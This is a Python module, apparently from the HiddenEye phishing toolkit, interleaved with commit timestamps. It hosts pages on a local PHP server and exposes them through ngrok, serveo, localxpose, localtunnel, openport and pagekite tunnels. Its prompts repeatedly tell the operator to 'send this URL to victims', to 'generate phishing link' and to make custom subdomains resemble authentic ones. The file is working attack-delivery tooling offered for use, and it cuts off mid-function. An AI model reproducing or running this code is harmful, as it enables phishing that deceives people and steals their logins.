2020-05-11 17:12:06 +08:00
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
2020-05-25 13:56:37 +08:00
from Defs . ImportManager . unsorted_will_be_replaced import run_command , run_background_command , wait , ngrok , requests , \
regular_expression , check_output , CalledProcessError , chdir , chmod , DEVNULL , PIPE
2020-05-08 02:09:20 +08:00
import Defs . ThemeManager . theme as theme
import Defs . ActionManager . Server . server_menu as server_menu
import Defs . ActionManager . simple_informant as simple_informant
2020-05-12 21:16:45 +08:00
import Defs . LocalizationManager . lang_action_manager . lang_server . lang_server_runner as localization
import Defs . LocalizationManager . lang_global_usage as global_localization
2020-05-13 21:13:20 +08:00
import Defs . ActionManager . main_runner as main_runner
2020-05-27 09:22:02 +08:00
import os
2020-05-12 21:16:45 +08:00
2020-05-08 02:09:20 +08:00
default_palette = theme . default_palette
2020-05-27 09:22:02 +08:00
try :
os . mkdir ( " Server/www " )
except FileExistsError :
pass
2020-05-08 02:09:20 +08:00
enter_server_www = chdir ( " Server/www " )
exit_server_www = chdir ( " ../.. " )
2020-05-25 13:56:37 +08:00
def set_php ( host = ' 127.0.0.1 ' , port = 80 ) :
run_command ( [ ' killall ' , ' -2 ' , ' php ' ] , stdout = DEVNULL , stderr = DEVNULL )
run_background_command ( [ " php " , " -S " , " {0} : {1} " . format ( host , port ) , " -t " , " Server/www " ] , stdout = DEVNULL ,
stderr = DEVNULL )
def set_port ( port = 80 ) :
2020-05-08 02:09:20 +08:00
run_background_command ( [ " fuser " , " -k " , " {0} /tcp " . format ( port ) ] , stdout = DEVNULL , stderr = DEVNULL )
2020-05-25 13:56:37 +08:00
def start_server ( port = 80 ) :
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null", "2>&1"**/])
2020-05-08 16:42:44 +08:00
set_port ( port )
2020-05-25 13:56:37 +08:00
# enter_server_www
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">", "/dev/null", "2>&1", "&"])
2020-05-08 16:42:44 +08:00
set_php ( port = port )
2020-05-25 13:56:37 +08:00
# exit_server_www
2020-05-08 02:09:20 +08:00
def start_localhost ( port ) :
run_command ( ' clear ' )
2020-05-25 13:56:37 +08:00
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
# '')
2020-05-12 21:16:45 +08:00
simple_informant . global_message ( )
print ( localization . lang_start_localhost [ " localhost_server " ] )
2020-05-25 02:18:27 +08:00
host = " 127.0.0.1 "
2020-05-12 21:16:45 +08:00
print ( localization . lang_start_localhost [ " your_localhost_is " ] + host )
set_port ( )
2020-05-25 13:56:37 +08:00
# run_command("cd Server/www/
2020-05-08 02:09:20 +08:00
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
enter_server_www
set_php ( host , port )
2020-05-12 21:16:45 +08:00
print ( localization . lang_start_localhost [ " starting_server_on_addr " ] + " {0} : {1} " . format ( host , port ) )
2020-05-25 13:56:37 +08:00
# wait(2)
2020-05-08 02:09:20 +08:00
run_command ( ' clear ' )
2020-05-25 13:56:37 +08:00
# print('''
2020-05-12 21:16:45 +08:00
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
# ''')
simple_informant . global_message ( )
print ( localization . lang_start_localhost [ " running_localhost_server " ] )
2020-05-25 13:56:37 +08:00
# print("-
2020-05-12 21:16:45 +08:00
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
print ( localization . lang_start_localhost [ " send_this_url_suggestion " ] )
print ( localization . lang_start_localhost [ " localhost_url " ] + ' {0} : {1} \n ' . format ( host , port ) )
2020-05-08 02:09:20 +08:00
2020-05-25 13:56:37 +08:00
2020-05-08 02:09:20 +08:00
def start_ngrok ( port ) :
2020-05-25 13:56:37 +08:00
run_command ( [ ' killall ' , ' -2 ' , ' ngrok ' ] , stdout = DEVNULL , stderr = DEVNULL )
2020-05-08 02:09:20 +08:00
run_command ( ' clear ' )
2020-05-25 13:56:37 +08:00
# print('''
2020-05-12 21:16:45 +08:00
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
# ''')
simple_informant . global_message ( )
print ( localization . lang_start_ngrok [ " ngrok_server " ] )
2020-05-25 13:56:37 +08:00
# run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
2020-05-08 16:41:24 +08:00
##chmod('Server', 0o777)
##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL)
ngrok . connect ( port )
2020-05-25 13:56:37 +08:00
# currentDirectory = os.getcwd() #DELETE
# print(currentDirectory) #DELETE
2020-05-08 02:09:20 +08:00
while True :
wait ( 2 )
2020-05-25 13:56:37 +08:00
# urlFile = open('link.url', 'w')
# run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced
# urlFile = open('link.url', 'r')
# url = urlFile.read()
2020-05-08 16:41:24 +08:00
ngrok_tunnels = ngrok . get_tunnels ( )
url = ngrok_tunnels [ 0 ] . public_url
2020-05-25 13:56:37 +08:00
# urlFile.close()
if regular_expression . match ( " https://[0-9a-z]* \ .ngrok.io " , url ) is not None :
# print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
2020-05-12 21:16:45 +08:00
# \n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
2020-05-25 13:56:37 +08:00
# print("\n")
2020-05-12 21:16:45 +08:00
print ( localization . lang_start_ngrok [ " send_this_url_suggestion " ] )
print ( localization . lang_start_localhost [ " localhost_url " ] + ' 127.0.0.1: ' + port )
print ( localization . lang_start_ngrok [ " ngrok_url " ] + url + default_palette [ 4 ] )
2020-05-08 02:09:20 +08:00
break
def start_serveo ( port ) :
2020-05-08 21:41:47 +08:00
def is_online ( ) :
serveo = requests . get ( " http://serveo.net " )
if " temporarily disabled " in serveo . text :
return False
2020-05-25 14:31:20 +08:00
return True
2020-05-08 21:41:47 +08:00
2020-05-08 02:09:20 +08:00
def random ( port ) :
run_command ( ' clear ' )
2020-05-25 13:56:37 +08:00
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
2020-05-12 21:16:45 +08:00
#
# ''')
simple_informant . global_message ( )
print ( localization . lang_start_serveo [ " serveo_random_server " ] )
2020-05-25 13:56:37 +08:00
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port))
run_command ( [ ' ssh ' , ' -o ' , ' StrictHostKeyChecking=no ' , ' -o ' , ' ServerAliveInterval=60 ' , ' -R ' ,
' localhost: {0} ' . format ( port ) , ' serveo.net ' , ' > ' , ' link.url ' ] , stdout = DEVNULL , stderr = DEVNULL )
2020-05-08 02:09:20 +08:00
wait ( 8 )
try :
output = check_output ( " grep -o ' . \ { 0,0 \ }http. \ { 0,100 \ } ' link.url " , shell = True )
url = output . decode ( " utf-8 " )
2020-05-12 21:16:45 +08:00
# print("-\n
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
2020-05-25 13:56:37 +08:00
# print("\n")
2020-05-12 21:16:45 +08:00
print ( localization . lang_start_serveo [ " send_this_url_suggestion " ] )
print ( localization . lang_start_localhost [ " localhost_url " ] + ' 127.0.0.1: ' + port )
print ( localization . lang_start_serveo [ " serveo_url " ] + url + default_palette [ 4 ] )
2020-05-08 02:09:20 +08:00
except CalledProcessError :
wait ( 4 )
run_command ( ' clear ' )
return random ( port )
def custom ( port ) :
2020-05-25 13:56:37 +08:00
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
2020-05-13 19:35:14 +08:00
# \n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n
# \n
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
simple_informant . global_message ( )
print ( localization . lang_start_serveo [ " serveo_custom_server " ] )
print ( localization . lang_start_serveo [ " make_url_simmilar_to_real_suggestion " ] )
print ( localization . lang_start_serveo [ " insert_custom_subdomain " ] )
lnk = input ( global_localization . input_line )
2020-05-08 02:09:20 +08:00
if not " .serveo.net " in lnk :
lnk + = " .serveo.net "
else :
pass
2020-05-25 13:56:37 +08:00
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port))
run_command (
[ ' ssh ' , ' -o ' , ' StrictHostKeyChecking=no ' , ' -o ' , ' ServerAliveInterval=60 ' , ' -o ' , ' ServerAliveCountMax=60 ' ,
' -R ' , ' {0} :80:localhost: {1} ' . format ( lnk , port ) , ' serveo.net ' , ' > ' , ' link.url ' ] , stdout = DEVNULL ,
stderr = DEVNULL )
2020-05-08 02:09:20 +08:00
wait ( 7 )
try :
2020-05-13 19:35:14 +08:00
output = check_output ( " grep -o ' . \ { 0,0 \ }http. \ { 0,100 \ } ' link.url " , shell = True )
2020-05-08 02:09:20 +08:00
url = output . decode ( " utf-8 " )
run_command ( ' clear ' )
2020-05-25 13:56:37 +08:00
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
# \n-------------------------------'''.format(default_palette[0], default_palette[2]))
2020-05-13 19:35:14 +08:00
simple_informant . global_message ( )
print ( localization . lang_start_serveo [ " serveo_custom_server " ] )
2020-05-25 13:56:37 +08:00
# print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
2020-05-13 19:35:14 +08:00
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print ( localization . lang_start_serveo [ " send_this_url_suggestion " ] )
print ( localization . lang_start_localhost [ " localhost_url " ] + ' 127.0.0.1: ' + port )
print ( localization . lang_start_serveo [ " serveo_url " ] + url + default_palette [ 4 ] )
2020-05-25 13:56:37 +08:00
2020-05-08 02:09:20 +08:00
print ( " \n " )
except CalledProcessError :
2020-05-25 13:56:37 +08:00
# print('''\n !!!\n
2020-05-13 21:13:20 +08:00
# !!!\n
# !! \n''')
print ( localization . lang_start_serveo [ " failed_to_get_domain " ] )
print ( localization . lang_start_serveo [ " suggestion_to_fix_issue " ] )
print ( localization . lang_start_serveo [ " you_can_try_to_select_other_domain " ] )
2020-05-08 02:09:20 +08:00
wait ( 4 )
run_command ( ' clear ' )
return custom ( port )
2020-05-25 13:56:37 +08:00
if is_online :
# print('''
2020-05-13 21:13:20 +08:00
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
2020-05-25 14:31:20 +08:00
#
#
2020-05-13 21:13:20 +08:00
# '''.format(default_palette[0], default_palette[2]))
simple_informant . global_message ( )
print ( localization . lang_start_serveo [ " serveo_url_option_selection " ] )
print ( localization . lang_start_serveo [ " serveo_phishing_warning " ] )
print ( localization . lang_start_serveo [ " choose_type_of_url " ] )
2020-05-25 13:56:37 +08:00
# print(" \n".format(default_palette[0], default_palette[2]))
2020-05-13 21:13:20 +08:00
main_runner . print_sorted_as_menu ( localization . lang_start_serveo [ " url_types " ] )
choice = input ( global_localization . input_line )
2020-05-08 21:42:33 +08:00
run_command ( ' clear ' )
if choice == ' 1 ' :
2020-05-08 02:09:20 +08:00
2020-05-08 21:42:33 +08:00
custom ( port )
elif choice == ' 2 ' :
random ( port )
else :
run_command ( ' clear ' )
return start_serveo ( port )
2020-05-08 02:09:20 +08:00
else :
2020-05-25 13:56:37 +08:00
# print("Serveo is DOWN now, do you want to select another option? Y/n")
2020-05-13 21:13:20 +08:00
print ( localization . lang_start_serveo [ " serveo_is_down " ] )
2020-05-08 21:42:33 +08:00
choice = input ( " HiddenEye >> " )
2020-05-13 21:13:20 +08:00
choice = choice . lower ( )
if choice == ' y ' :
2020-05-08 21:42:33 +08:00
return server_menu . server_selection ( port )
else :
return start_serveo ( port )
2020-05-08 02:09:20 +08:00
def start_localxpose ( port ) :
def random ( port ) :
run_command ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ RANDOM LOCALXPOSE URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 1 ] , default_palette [ 2 ] ) )
# run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
run_command ( [ ' Server/loclx ' , ' tunnel ' , ' http ' , ' --to ' , ' : {0} ' . format ( port ) , ' > ' , ' link.url ' ] , stdout = DEVNULL ,
stderr = DEVNULL )
2020-05-08 02:09:20 +08:00
wait ( 8 )
try :
output = check_output (
2020-05-25 13:56:37 +08:00
" grep -o ' . \ { 0,0 \ }https. \ { 0,100 \ } ' link.url " , shell = True )
2020-05-08 02:09:20 +08:00
url = output . decode ( ' utf-8 ' )
2020-05-25 13:56:37 +08:00
print (
" \n {0} [ {1} ! {0} ] {1} SEND THIS LOCALXPOSE URL TO VICTIMS- \n \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} LOCALXPOSE URL: {2} {4} {1} " . format (
default_palette [ 0 ] , default_palette [ 4 ] , default_palette [ 3 ] , port , url ) + " {0} " . format (
default_palette [ 4 ] ) )
2020-05-08 02:09:20 +08:00
print ( " \n " )
except CalledProcessError :
wait ( 4 )
run_command ( ' clear ' )
return random ( port )
def custom ( port ) :
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ CREATE A CUSTOM URL HERE ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n \n { 0 } [ { 1 } ! { 0 } ] { 1 } YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL . \n \n { 0 } Insert a custom subdomain for Localxpose ( Ex : mysubdomain ) ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
2020-05-08 02:09:20 +08:00
lnk = input ( " \n {0} CUSTOM Subdomain>>> {1} " . format ( default_palette [ 0 ] , default_palette [ 2 ] ) )
run_command ( ' ./Server/loclx tunnel http --to : %s --subdomain %s > link.url 2> /dev/null & ' % ( port , lnk ) )
wait ( 7 )
try :
output = check_output ( " grep -o ' . \ { 0,0 \ }https. \ { 0,100 \ } ' link.url " , shell = True )
url = output . decode ( " utf-8 " )
run_command ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ CUSTOM SERVEO URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
print (
" \n {0} [ {1} ! {0} ] {1} SEND THIS LOCALXPOSE URL TO VICTIMS- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} LOCALXPOSE URL: {2} " . format (
default_palette [ 0 ] , default_palette [ 2 ] , default_palette [ 3 ] , port ) + url + " {0} " . format (
default_palette [ 4 ] ) )
2020-05-08 02:09:20 +08:00
print ( " \n " )
except CalledProcessError :
2020-05-25 13:56:37 +08:00
print (
''' \n \n {0} FAILED TO GET THIS DOMAIN. !!! \n \n {0} LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!! \n \n {0} [ {1} ! {0} ]TRY TO SELECT ANOTHER CUSTOM DOMAIN {1} (GOING BACK).. !! \n ''' . format (
default_palette [ 0 ] , default_palette [ 4 ] ) )
2020-05-08 02:09:20 +08:00
wait ( 4 )
run_command ( ' clear ' )
return custom ( port )
2020-05-25 13:56:37 +08:00
2020-05-08 02:09:20 +08:00
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALXPOSE URL TYPE SELECTION ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
print ( " \n {0} [ {1} * {0} ] {0} CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK: {1} " . format ( default_palette [ 0 ] ,
default_palette [ 2 ] ) )
print (
" \n {0} [ {1} 1 {0} ] {1} Custom URL {0} (Generates designed url) \n {0} [ {1} 2 {0} ] {1} Random URL {0} (Generates Random url) " . format (
default_palette [ 0 ] , default_palette [ 2 ] ) )
2020-05-08 02:09:20 +08:00
choice = input ( " \n \n {0} YOUR CHOICE >>> {1} " . format ( default_palette [ 0 ] , default_palette [ 2 ] ) )
run_command ( ' clear ' )
if choice == ' 1 ' :
custom ( port )
elif choice == ' 2 ' :
random ( port )
else :
run_command ( ' clear ' )
return start_localxpose ( port )
def start_localtunnel ( port , npm ) :
run_command ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALTUNNEL URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
2020-05-08 02:09:20 +08:00
print (
2020-05-25 13:56:37 +08:00
" \n {0} [ {1} * {0} ] {0} SELECT ANY URL TYPE TO GENERATE PHISHING LINK: {1} " . format ( default_palette [ 0 ] ,
default_palette [ 2 ] ) )
print ( " \n {0} [ {1} + {0} ] {1} Type Subdomain for Custom URL. \n {0} [ {1} + {0} ] {1} Leave Empty For Random URL " . format (
default_palette [ 0 ] , default_palette [ 2 ] ) )
2020-05-08 02:09:20 +08:00
s = input ( ' \n {0} (Localtunnel/Subdomain)> {1} ' . format ( default_palette [ 0 ] , default_palette [ 2 ] ) )
try :
run_command ( ' {0} lt -p ' . format ( ' ' if npm else ' Server/ ' ) +
2020-05-25 13:56:37 +08:00
port + ( ( ' -s ' + s ) if s != ' ' else s ) + ' > link.url & ' )
2020-05-08 02:09:20 +08:00
wait ( 3 )
run_command ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALTUNNEL URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
print (
" \n {0} [ {1} ! {0} ] {1} SEND THIS SERVEO URL TO VICTIMS- \n \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} LOCALTUNNEL URL: {2} {4} " . format (
default_palette [ 0 ] , default_palette [ 2 ] , default_palette [ 3 ] , port ,
str ( check_output ( " grep -o ' . \ { 0,0 \ }https. \ { 0,100 \ } ' link.url " , shell = True ) ) . strip ( " b ' \ n r " ) ) )
2020-05-08 02:09:20 +08:00
except CalledProcessError :
run_command ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALTUNNEL URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
2020-05-08 02:09:20 +08:00
print ( ' {0} error[invalid/preoccupied] {0} ' . format ( default_palette [ 0 ] ) )
start_localtunnel ( port , npm )
2020-05-25 13:56:37 +08:00
2020-05-08 02:09:20 +08:00
def start_openport ( port ) :
run_command ( ' clear ' )
def manage_url ( port ) :
2020-05-25 13:56:37 +08:00
run_command ( ' rm output.txt > /dev/null 2>&1 ' )
run_command ( ' openport -K && openport %s > output.txt & ' % ( port ) )
print ( ' {0} [ {1} * {0} ] {1} Openport Server Running in Background.. Please wait. ' . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
wait ( 20 ) # Sleep time is important as the openport command takes some time to give response link.
run_command (
' cat output.txt | grep -Eo " (http|https)://[a-zA-Z0-9./?=_-]* " | sort -u | grep -v https://openport.io/user > openport.txt ' ) # Taking out the neccesary verification link from output txt file of openport (above).
print ( ' {0} [ {1} * {0} ] {1} Working To Get OpenPort Tunnel Activation Link... ' . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
with open ( ' openport.txt ' ) as f :
read_data = f . read ( )
if ' openport.io/l/ ' in read_data :
print ( ' {0} [ {1} * {0} ] {1} Got Activation Link... ' . format ( default_palette [ 0 ] , default_palette [ 4 ] ) )
else :
print ( ' {0} [ {1} ^ {0} ] {1} Failed To Get Openport Activation Link... ' . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
output = open ( ' output.txt ' , ' r ' )
output = output . read ( )
print ( ' {0} [ {1} ! {0} ] {1} Openport Error: \n \n {2} ' . format ( default_palette [ 0 ] , default_palette [ 4 ] , output ) )
input ( ' \n \n {0} [ {1} * {0} ] {1} Try Other Tunnels... (Press Enter) ' . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
server_menu . server_selection ( port )
urlFile = open ( ' openport.txt ' , ' r ' )
urltoverify = urlFile . read ( ) . strip ( )
print (
' {0} [ {1} * {0} ] {1} Open This Activation Link From Browser to Get Tunnel Link... \n ' . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
print ( ' {0} [ {1} * {0} ] {1} Tunnel Activation Link: {0} {2} ' . format ( default_palette [ 0 ] , default_palette [ 4 ] ,
urltoverify ) )
url = input ( ' \n \n {0} [ {1} * {0} ] {1} Enter The Tunnel Link Found in Browser: {0} ' . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
wait ( 4 )
run_command ( ' clear ' )
print ( '''
2020-05-08 02:09:20 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ OPENPORT SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 0 ] , default_palette [ 4 ] ) )
print (
" \n {0} [ {1} ! {0} ] {1} SEND THIS OPENPORT URL TO VICTIMS- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} OPENPORT URL: {2} {4} \n " . format (
default_palette [ 0 ] , default_palette [ 4 ] , default_palette [ 3 ] , port , url ) )
2020-05-08 02:09:20 +08:00
print ( ''' {1} _ _ . ___ ___ ___ _ _ {0} ___ _ _ ___ {1}
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ OPENPORT SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
2020-05-08 02:09:20 +08:00
if 256 == run_command ( ' which openport > /dev/null ' ) :
2020-05-25 13:56:37 +08:00
run_command ( ' clear ' )
print ( ' [*] Openport not Installed correctly, Try installing it manually !! ' )
print ( ' [*] Check Here ... https://openport.io/download ' )
input ( ' \n Press Enter To Go back.. ' )
server_menu . server_selection ( port )
2020-05-08 02:09:20 +08:00
else :
2020-05-25 13:56:37 +08:00
manage_url ( port )
2020-05-08 02:09:20 +08:00
def start_pagekite ( port ) :
2020-05-25 13:56:37 +08:00
run_command ( ' clear ' )
print ( '''
2020-05-08 02:09:20 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2020-05-25 13:56:37 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ PAGEKITE SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(
default_palette [ 0 ] , default_palette [ 2 ] ) )
if 256 == run_command ( ' which python2 > /dev/null ' ) :
print ( ' [*] Python2 not Installed, Pagekite Only Supports Python2!! ' )
input ( ' \n Press Enter To Try installing Python2 Now.. ' )
run_command ( ' apt install python2 ' )
if 256 == run_command ( ' which python2 > /dev/null ' ) :
run_command ( ' clear ' )
print ( " \n {0} [ {1} * {0} ] {1} FAILED TO INSTALL PYTHON2 (TRY MANUALLY).. {1} " . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
wait ( 2 )
server_menu . server_selection ( port )
else :
pass
else :
try :
subdomain = input (
